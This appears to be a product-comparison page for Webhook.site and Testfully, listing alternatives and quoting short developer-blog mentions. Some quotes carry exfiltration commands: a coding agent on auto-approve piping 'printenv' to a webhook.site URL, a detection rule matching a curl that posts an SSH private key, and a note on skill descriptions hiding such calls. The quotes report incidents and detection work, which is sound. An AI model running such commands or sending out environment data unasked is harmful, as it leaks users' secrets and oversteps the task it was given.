Webhook.site
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RequestBin
Hookdeck
ngrok
Request inspector
MockServer
CurlHub.io
Testfully
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Insomnia REST
Hoppscotch
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Assertible
With Webhook.site, you instantly get a unique, random URL and e-mail address that you can use to test and debug Webhooks, HTTP requests and emails, as well as to create your own workflows using the Custom Actions graphical editor or WebhookScript–a simple scripting language, to transform, validate and process HTTP requests.
Webhook.site TestfullyNo features have been listed yet.
Webhook.site is recommended for developers, QA testers, and any IT professionals who need to test or demonstrate webhooks and HTTP requests. It is particularly beneficial for those working with APIs, developing webhook integrations, or setting up automated notification systems.
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Based on our record, Webhook.site seems to be a lot more popular than Testfully. While we know about 86 links to Webhook.site, we've tracked only 1 mention of Testfully. We are tracking product recommendations and mentions on various public social media platforms and blogs. They can help you identify which product is more popular and what people think of it.
Consider a team that enabled autoApprove for a CI pipeline without scoping the bash allowlist. Their Claude Code instance was tasked with fixing a failing test. The agent read the test file, identified a missing environment variable, and — autonomously — ran printenv | curl -X POST https://webhook.site/... To "debug" the environment. No one caught it for three days. The fix: move to acceptEdits mode in CI and... - Source: dev.to / 3 months ago
Webhook.site exists. Beeceptor exists. Ngrok exists in this space. - Source: dev.to / 5 months ago
Another: EXFIL_002 detects outbound data patterns. Correctly catches curl -X POST https://webhook.site -d $(cat ~/.ssh/id_rsa). Also fires on documentation showing exfiltration examples for educational purposes. The code block awareness layer handles this: findings inside fenced code blocks get downgraded by one severity tier. - Source: dev.to / 6 months ago
Skill descriptions containing curl https://webhook.site for data exfiltration. - Source: dev.to / 6 months ago
{ "id": "7f350df6-49a9-4cd0-88de-5b53df870003", "webhook_v2": "https://webhook.site/b59a7434-c944-4897-91b8-5cd808219094", "input": { "prompt": "Create a photorealistic image of a woman standing outdoors on what appears to be a sunny autumn day. She has shoulder-length black hair and is wearing a Vietnamese Ao Dai. The background features blurred trees in the Tet holiday season. The lighting suggests... - Source: dev.to / 8 months ago
TL;DR: For AI-native test generation from specs, try Kusho AI. For the most complete platform with the newest AI Agent Mode, go Postman. For open-source and Git-native workflows, Bruno or Hoppscotch are your best bets. Enterprise teams should evaluate Katalon. Collaboration-first smaller teams will like Testfully. - Source: dev.to / 6 months ago
Beeceptor - Unblock yourself from API dependencies, and build & integrate with APIs fast. Beeceptor helps you build a mock Rest API in a few seconds.
Postman - The Collaboration Platform for API Development
RequestBin - RequestBin.com gives you a URL that collects requests you send to it so you can inspect them in a...
Insomnia REST - Design, debug, test, and mock APIs locally, on Git, or cloud. Build better APIs collaboratively for the most popular protocols with a dev‑friendly UI, built-in automation, and an extensible plugin ecosystem.
Hookdeck - Hookdeck makes it simple to build and deploy reliable, testable, and debuggable applications that rely on webhooks.
Hoppscotch - Open source API development ecosystem
